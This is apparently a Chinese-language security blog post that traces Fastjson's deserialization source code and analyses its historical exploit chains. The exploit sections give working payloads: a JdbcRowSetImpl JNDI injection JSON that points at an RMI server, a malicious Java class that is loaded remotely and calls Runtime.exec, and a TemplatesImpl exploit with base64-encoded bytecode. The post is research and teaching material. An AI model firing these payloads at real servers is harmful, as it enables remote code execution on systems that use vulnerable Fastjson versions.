FastJson源码解读+历代反序列化剖析

fastjson是阿里巴巴开发的一款处理json和对象的json库,其已经被广泛的应用;

先通过一个简单的demo来体悟下fastjson机制;之前分析过hashmap类,其内部是采用节点的方式内含key和value来进行存储的,就方便拿hashmap来体验下;

1
2
3
4
5
6
7
8
9
public class fastjson {
public static void main(String[] args) throws Exception {
HashMap ss = new HashMap<String,String>();
ss.put("rmb122","带哥");
ss.put("菠萝吹雪","带哥");
String ssstring = JSON.toJSONString(ss);
System.out.println("ssstring="+ssstring);
}
}

输出结果为

1
ssstring={"菠萝吹雪":"带哥","rmb122":"带哥"}

可以明显的看到json化的结果;在来细致点来看;随便的构造一个类来进行验证;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
class s1mple {
public String s1mple;
private int a;
private int age;
private String sex;
public void setA(int a ){
this.a= a;
System.out.println("seta()");
}
public void setAge(int Age){
System.out.println("setage()");
this.age = Age;
}
public void setSex(String sex){
System.out.println("setsex()");
this.sex = sex;
}
public String getSex(){
System.out.println("getsex()");
return this.sex;
}
public int getAge(){
System.out.println("getage()");
return this.age;
}
public int getA(){
System.out.println("geta()");
return this.a;
}
public String toString(){
String s = "\"s1mple=\""+s1mple;
return s;
}
}
public class fastjson {
public static void main(String[] args) throws Exception {
s1mple s1mple = new s1mple();
s1mple.setA(100);
s1mple.setSex("男");
String json = JSON.toJSONString(s1mple,SerializerFeature.WriteClassName);
System.out.println("=====================");
String jsons = "{\"@type\":\"s1mple\",\"a\":100,\"age\":0,\"sex\":\"nan\",\"s1mple\":\"aaa\"}";
Object jsonsobject =JSON.parseObject(jsons,s1mple.class);
System.out.println(jsonsobject);

}
}

回显效果为:

1
2
3
4
5
6
7
8
9
10
seta()
setsex()
geta()
getage()
getsex()
=====================
seta()
setage()
setsex()
"s1mple="aaa

在反json化的时候会自动的调用toString方法;这里拿toString方法夺取类中的s1mple属性;发现其返回为aaa;但是类中并没有定义其修改器;所以这里是直接在反json化的时候就将public的属性给赋值;然而private类型的属性,并不会直接赋值,而是调用其修改器对其属性进行修改;从而达到赋值的效果;简单的追溯一下流程:

cLJ2jS.png

反序列化进入parseObject函数;追溯下:

cLJINn.png

继续一路追溯parseObject方法下去;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public <T> T parseObject(Type type, Object fieldName) {
int token = this.lexer.token();
if (token == 8) {
this.lexer.nextToken();
return null;
} else {
if (token == 4) {
if (type == byte[].class) {
byte[] bytes = this.lexer.bytesValue();
this.lexer.nextToken();
return bytes;
}

if (type == char[].class) {
String strVal = this.lexer.stringVal();
this.lexer.nextToken();
return strVal.toCharArray();
}
}

ObjectDeserializer derializer = this.config.getDeserializer(type);

关键点在最后一行,调用ParserConfig类下的getDeserializer方法;传入type;

1
2
3
4
5
6
7
8
9
10
11
12
13
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}

敏感的点是经过第二个if的时候,因为s1mple是Class的实例;所以这里直接调用到getDeserializer方法;

1
ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);

首先经过这个点;追溯不难发现是去IdentityHashMap中Entry的key进行比较,看看其是否相同,因为程序在实力化IdentityHashMap后并无put,所以默认为空,自然不想等;返回null;

1
2
3
4
5
6
7
8
9
10
11
ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
JSONType annotation = (JSONType)clazz.getAnnotation(JSONType.class);
if (annotation != null) {
Class<?> mappingTo = annotation.mappingTo();
if (mappingTo != Void.class) {
return this.getDeserializer(mappingTo, mappingTo);
}
}

接着去进行比对,其依然是null;,进入else;这里追溯下最后annotation也为null;进入if判断

1
2
3
4
if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
derializer = (ObjectDeserializer)this.deserializers.get(clazz);
}

传入的type为class对象,所以全部pass;

1
2
3
4
5
6
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
String className = clazz.getName();
className = className.replace('$', '.');

这里简单看下不难发现是直接else;因为原本Entry中就没有put;所以derializer比对结果自然为null;进入else的逻辑链路看下;敏感点已经标出在代码块中;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
else {
String className = clazz.getName();
className = className.replace('$', '.');
if (className.startsWith("java.awt.") && AwtCodec.support(clazz) && !awtError) {
try {
this.deserializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
this.deserializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
this.deserializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
this.deserializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
} catch (Throwable var11) {
awtError = true;
}

derializer = AwtCodec.instance;
}

if (!jdk8Error) {//进入次if段;
try {
if (className.startsWith("java.time.")) {//显然不满足;
this.deserializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
this.deserializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);
derializer = (ObjectDeserializer)this.deserializers.get(clazz);
} else if (className.startsWith("java.util.Optional")) {//显然也不满足;
this.deserializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
this.deserializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
this.deserializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
this.deserializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);
derializer = (ObjectDeserializer)this.deserializers.get(clazz);
}
} catch (Throwable var10) {
jdk8Error = true;
}
}

if (className.equals("java.nio.file.Path")) {//不满足
this.deserializers.put(clazz, MiscCodec.instance);
}

if (clazz == Entry.class) {//为 s1mple.class,显然不满足;
this.deserializers.put(clazz, MiscCodec.instance);
}

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();//调用classLoader

try {
Iterator var6 = ServiceLoader.load(AutowiredObjectDeserializer.class, classLoader).iterator();

while(var6.hasNext()) {
AutowiredObjectDeserializer autowired = (AutowiredObjectDeserializer)var6.next();
Iterator var8 = autowired.getAutowiredFor().iterator();

while(var8.hasNext()) {
Type forType = (Type)var8.next();
this.deserializers.put(forType, autowired);
}
}
} catch (Exception var12) {
}

if (derializer == null) {
derializer = (ObjectDeserializer)this.deserializers.get(type);
}

if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
if (clazz.isEnum()) {
derializer = new EnumDeserializer(clazz);
} else if (clazz.isArray()) {
derializer = ObjectArrayCodec.instance;
} else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
if (Collection.class.isAssignableFrom(clazz)) {
derializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
derializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
derializer = new ThrowableDeserializer(this, clazz);
} else {
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}
} else {
derializer = CollectionCodec.instance;
}

this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
return (ObjectDeserializer)derializer;
}
}

经过简单的追溯,不难发现,传入的type并不是java默认的class;这也正常,因为从一开始就是自己构造的一个javaclass;敏感点在

1
2
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

会去调用相应的classloader去加载自己创建的class;

一路调用到此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (clazz.isEnum()) {
derializer = new EnumDeserializer(clazz);
} else if (clazz.isArray()) {
derializer = ObjectArrayCodec.instance;
} else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
if (Collection.class.isAssignableFrom(clazz)) {
derializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
derializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
derializer = new ThrowableDeserializer(this, clazz);
} else {
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}

进入主要的分析点;进入createJavaBeanDeserializer函数;

1
2
3
4
5
public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
boolean asmEnable = this.asmEnable;
if (asmEnable) {
JSONType jsonType = (JSONType)clazz.getAnnotation(JSONType.class);

因为jsonType为null;这在之前已经分析过;所以直接过if函数;最后关键的点是

1
2
new JavaBeanDeserializer(this, clazz, type);

实力化JavaBeanDeserializer类;

看下其构造器:

1
2
3
4
public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type) {
this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));//第三个参数null;
}

调用JavaBeanInfo下的build方法;

1
2
3
4
5
6
7
8
9
10
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
JSONType jsonType = (JSONType)clazz.getAnnotation(JSONType.class);
Class<?> builderClass = getBuilderClass(jsonType);
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();
Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
Constructor<?> creatorConstructor = null;
Method buildMethod = null;
List<FieldInfo> fieldList = new ArrayList();

因为jsonType拿到null;所以builderClass也为null;declaredFields为拿到所有属性,将其放在数组中,methods拿到类,其父类的public方法和实现其接口的方法。放到数组中,builderClass因为未传入所以这里构造器拿到的是自定义的s1mple构造器;因为存在Constructor;

1
2
if (defaultConstructor == null && !clazz.isInterface() && !Modifier.isAbstract(clazz.getModifiers()))

所以这个if直接过;也是因为没有传入builderClass所以可直接过很多判断,最后来到关键代码段;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Method[] var30 = methods;
int var29 = methods.length;
Method method;
for(i = 0; i < var29; ++i) {
method = var30[i];
ordinal = 0;
int serialzeFeatures = 0;
parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes();
if (types.length == 1) {
annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}

显然的是java在此将class中和其父类的的所有公有方法和实现接口的方法全部拿到;这里也对所有public方法做出了要求;

可以看到其函数名称长度需要不小于4,并且方法不为static类型;而且返回值需要为void;最后的限定的条件是“或”为改方法所在类的class对象;最后一个判定并不是必须;

在我定义的类中使用了toString方法,其优先调用,所以不满足返回值为void;直接pass掉,重新在method数组中拿到另外的方法进入程序,因为发现这里有个限定的条件是返回类型必须为void;所以这里也就差不多是关于属性修改器的一些操作;因为只有这些方法其返回值为void;在拿到符合方法的时候进入后续,仅可一个参数;然后拿到其函数的注释,这里为null;因为在自定义类中没有加入注释;

然后进入

1
2
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);

追溯下;

cOFjaQ.png

看到首先去拿类的接口信息,但是自定义类并无继承接口,所以自然过if;可以清晰的看到,如果自定以的类继承有接口,那么就会去找相应的实现接口类下的public方法;

cOk0L8.png

清晰的看到,如果有父类,则也会去拿相应父类下的public类型的方法;这里都没有,所以返回为null;

进入原来的类分析;

cOkfyV.png

因为annotation为空,所以直接进入后续的if;这里是对setter的纠错代码;

1
2
3
4
5
6
7
8
9
if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else {
if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
}

java中会过滤下划线,这里如果第四个字母为下划线;就会忽略,然后从第五个字母开始向后进行续接;

相反的是如果一切都满足原本的需求则会直接将第四个字符转小写,然后拼接上后续的字符形成变量;

1
2
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);

这句代码可看的很明白;不过多解释;

然后fastjson会去类中找相应的属性,如果没找到并且相应的函数返回值为boolean,则会将属性前加上is然后将第一个字符转大写和后面的其他自符进行拼接当作属性去类中寻找,代码如下:

1
2
3
4
5
6
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}

最后执行add方法;得到的方法变量名存于可反序列化list中,这个set方法就可以被调用。

总结下set方法的筛选是先整体的进行处理下,去寻找有返回值的函数,然后再次进行细致的筛选出set开头的函数,然后在纠错set;最后将set添加的序列化字符串中;处理完setter之后,fastjson开始处理getter;追溯一下getter的处理流程;学习其fastjson的设计思路;

来看getter;

先来看对属性的处理方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Field[] var31 = clazz.getFields();
var29 = var31.length;

FieldInfo fieldInfo;
for(i = 0; i < var29; ++i) {
Field field = var31[i];
ordinal = field.getModifiers();
if ((ordinal & 8) == 0) {
if ((ordinal & 16) != 0) {
fieldType = field.getType();
boolean supportReadOnly = Map.class.isAssignableFrom(fieldType) || Collection.class.isAssignableFrom(fieldType) || AtomicLong.class.equals(fieldType) || AtomicInteger.class.equals(fieldType) || AtomicBoolean.class.equals(fieldType);
if (!supportReadOnly) {
continue;
}
}

清晰的看到getter先拿到类和其父类public的字段,也就是属性将其放入数组中,然后遍历一下,拿到其修饰符;当不为static的时候进入第二个if;当修饰符为final的时候,直接拿到其类型,然后进入或运算;然后判断其是否支持只读;

之后进入一个比较细致的代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
boolean contains = false;
Iterator var53 = fieldList.iterator();

while(var53.hasNext()) {
fieldInfo = (FieldInfo)var53.next();
if (fieldInfo.name.equals(field.getName())) {
contains = true;
break;
}
}

if (!contains) {
parserFeatures = 0;
serialzeFeatures = 0;
parserFeatures = 0;
String propertyName = field.getName();
JSONField fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);
if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}

parserFeatures = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, (Method)null, field, clazz, type, parserFeatures, serialzeFeatures, parserFeatures, (JSONField)null, fieldAnnotation, (String)null));
}
}
}

先来看代码;利用java的迭代器;将之前的set进行的属性拿出放到迭代器中;

1
2
3
4
5
6
7
8
while(var53.hasNext()) {
fieldInfo = (FieldInfo)var53.next();
if (fieldInfo.name.equals(field.getName())) {
contains = true;
break;
}
}

进入while循环判断其下一个是否有元素;如果存在元素,则fileInfo进行读取;然后和public属性进行比对,这一步是为了确认其是否为public的属性;如果是public的属性,那么contains就为true;一个比较细致的代码点在后面;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (!contains) {
parserFeatures = 0;
serialzeFeatures = 0;
parserFeatures = 0;
String propertyName = field.getName();
JSONField fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);
if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}

parserFeatures = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, (Method)null, field, clazz, type, parserFeatures, serialzeFeatures, parserFeatures, (JSONField)null, fieldAnnotation, (String)null));
}
}
}

敏感的代码点在此;如果contains不为false;则该变量直接丢掉,不能进入add;即如果属性为public,则会直接丢掉,否则之前set的几个属性则可以进入add;将其设入待反序列化的字段中;不难发现翻翻代码即可看到原理;

下面进入对方法的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var30 = clazz.getMethods();
var29 = var30.length;

for(i = 0; i < var29; ++i) {
method = var30[i];
String methodName = method.getName();
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null || !annotation.deserialize()) {
String propertyName;
if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

拿到类中的全部方法;

可以很清楚的看到限制的条件;

长度大于4;不为static;以get开头,第四个字母为大写,没有参数;返回值类型继承于Map或者Collection类;或者AtomicBoolean,AtomicInteger,AtomicLong类;只有这样的getter才可被调用;

最后将断点打在函数上,追溯下,发现其最后确实是调用了此函数;

czccqS.png

Fastjson之jndi注入

来看下调用链;

fastjson中存在一处jndi注入;直接进入JdbcRowSetImpl类中追溯下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

很明显的jndi注入,看到lookup的地方直接传入getDataSourceName函数;追溯下;

1
2
3
4
public String getDataSourceName() {
return dataSource;
}

拿到dataSource;看下这个属性我们是否可控;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}

}

看到setter;这个方法我们也可直接控制;传入一个参数;先去尝试拿到dataSource属性,如果其为空,则进入其父类中进行赋值;简单的追溯下其父类的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

直接给父类中的dataSource赋值;然后get到其父类中的值;发现此属性我们可控,因为结合javabean模式(我更喜欢称之为模式,可以直接传入json将其赋值,然后调用的时候调用相应的getter直接造成jndi注入;

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

触发jndi注入的另外一个关键点在setAutoCommit函数,不难发现;setAutoCommit函数也是满足之前分析的javabean模式的;方法名长度大于4且以set开头,且第四个字母要是大写;为非静态方法;返回类型为void或当前类;参数个数为1个;在函数里可以调用connect函数;所以总结出来,直接给出json;这里只是需要去调用autoCommit方法即可,其参数设置没有特殊要求;

1
2
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/#","autoCommit":true}}

1
2
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/#","autoCommit":false}}

原理其实不是很难,直接开启一个rmi服务,然后python开启个httpserver,直接进行攻击即可;在相应的httpserver目录下放入提前设置好的恶意class;直接进行加载导致rce;攻击载荷如下:

恶意java;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

将其编译之后在其目录开启httpserver;

gpui1P.png

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

这个链也是比较常规的一个链,分析过CC链的都应该比较清楚,在CC链中,我们最后执行命令的地方就是在TemplatesImpl类下;利用其newInstance方法去直接实力化我们自己构造的恶意class从而达到命令执行的效果;那么在fastjson中也是可直接调用;

追溯下源码看看;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

可以明显的看到会调用_clas去执行newInstance方法进行实例化;反追溯一下函数触发点;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

可以清晰的看到在newTransformer函数中进行调用了getTransletInstance方法,继续回溯一下newTransfromer方法的触发点;

1
2
3
4
5
6
7
8
9
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

可看到触发点回到了getOutputProperties方法;

这时候就需要利用到fastjson的javabean特性了;根据上面的分析,之前就得到了getter自动调用的要求为;

长度大于4;不为static;以get开头,第四个字母为大写,没有参数;返回值类型继承于Map或者Collection类;或者AtomicBoolean,AtomicInteger,AtomicLong类;只有这样的getter才可被调用;

但是此处的函数返回类型为Properties类型,回溯一下Properties类;

1
2
class Properties extends Hashtable<Object,Object> {

发现其继承于Hashtable类,继续回溯一下

1
2
3
4
public class Hashtable<K,V>
extends Dictionary<K,V>
implements Map<K,V>, Cloneable, java.io.Serializable

这里Hashtable类继承了Map接口,所以Properties也是继承于Map接口的;满足条件,也就是这个方法可以在parse的时候直接被调用;所以就有了exp;之前的构造和CC链的构造是一样的;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class fastjson {
public class s1mple{}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));//加入到路径中
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());//拿到s1mple的class对象并将其写入到hashtable中;
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());//拿到AbstractTranslet的class对象并将其写入hashtalb中;
s2mple.setSuperclass(s3mple);//设置父类;(过if)
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");");
byte[] bt = s2mple.toBytecode();
String base = Base64.getEncoder().encodeToString(bt);
System.out.println(base);
String a = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJQoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZzMW1wbGUBAAxJbm5lckNsYXNzZXMBABFMZmFzdGpzb24kczFtcGxlOwEAClNvdXJjZUZpbGUBAA1mYXN0anNvbi5qYXZhDAAEAAUHABMBAA9mYXN0anNvbiRzMW1wbGUBABBqYXZhL2xhbmcvT2JqZWN0AQAIZmFzdGpzb24BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAUCgAVAA8BAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAYAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGgAbCgAZABwBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yCAAeAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAIAAhCgAZACIBAA1TdGFja01hcFRhYmxlACEAAgAVAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABaxAAAAAgAHAAAABgABAAAABgAIAAAADAABAAAABQAJAAwAAAAIABcABQABAAYAAAAkAAMAAgAAAA+nAAMBTLgAHRIftgAjV7EAAAABACQAAAADAAEDAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk=\"],\'_name\':\'a.b\',\'_tfactory\':{ },\'_outputProperties\':{ }}";
Object s1mple = JSON.parseObject(a,Object.class, Feature.SupportNonPublicField);
}
}

理解了javabean也就不是很难理解这个json的调用机制,这里因为bytecodes为字节码文件,所以在传输的过程中应该会有种加密方法保证其可以完整传输,这里追溯下源码:

但是这里有个问题,是_bytecode的赋值问题;我们在相应的类中也没有发现什么和bytecode相关的setter;那么相应的值是怎么赋到里面?其实这个也不是很难,简单的调试一下就可以发现相应的问题;

gibhVO.png

主要的问题点在这个地方,因为bytecode的值为字节码不是对象,所以这里过了很多的判断之后直接进行setValue去进行相应的赋值;

giqCzn.png

追溯过去可以看到直接就是给_bytecode直接赋值;但是一般的赋值无法利用成功,测试一下可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.ObjectInputStream;
import java.lang.reflect.Field;
class wodefuck {
private int a;
public byte[][] s1mple;
private String name;
public void setByte(byte[][] aa) {
this.s1mple = aa;
}
public void setA(int a) {
this.a = a;
}
public void setName(String name){
this.name=name;
}
public byte[][] getS1mple(){
System.out.println("getS1mple()");
return s1mple;
}
public void readObject(ObjectInputStream is){
System.out.println("readObject");
}
}
public class test {
public static void main(String[] args) throws NoSuchFieldException {
wodefuck fuck = new wodefuck();
fuck.setByte(new byte[][]{{1}});
String json = JSON.toJSONString(fuck, SerializerFeature.WriteClassName);
System.out.println(json);



